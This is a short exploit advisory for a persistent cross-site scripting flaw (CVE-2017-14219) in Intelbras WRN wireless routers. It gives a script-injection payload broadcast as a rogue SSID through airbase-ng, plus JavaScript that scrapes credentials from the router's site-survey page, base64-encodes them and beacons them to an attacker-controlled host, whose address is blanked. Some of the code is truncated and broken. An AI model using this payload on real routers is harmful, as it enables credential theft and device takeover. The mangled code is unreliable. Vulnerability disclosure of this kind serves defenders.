Roteador Wirelsss Intelbras WRN150 Cross Site Scripting

Roteador Wireless Intelbras WRN150 router suffers from a cross site scripting vulnerability.

MD5 | 56852b23bbeef599a0cff5b7d4dbf92b

# Exploit Title: XSS persistent on intelbras router with firmware WRN 250
# Date: 07/09/2017
# Exploit Author: Elber Tavares
# Vendor Homepage:
# Version: Intelbras Wireless N 150Mbps - WRN 240
# Tested on: kali linux, windows 7, 8.1, 10

# CVE-2017-14219

For more info:


Payload: </script><script src='//'>

" contains the malicious code on index"

airbase-ng -e "</script><script src='//'>" -c 8 -v wlan0mon

//requires an php script to get the logs


var rawFile = new XMLHttpRequest();
rawFile.onreadystatechange = function() {
var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
//seleiciona a parte da pA!gina com as credenciais
new Image().src=""+btoa(base64);
//envia as credenciais encodadas em base64
};"GET", "", true);
//pega a source da pA!gina /popupSiteSurveyRpm.htm

Related Posts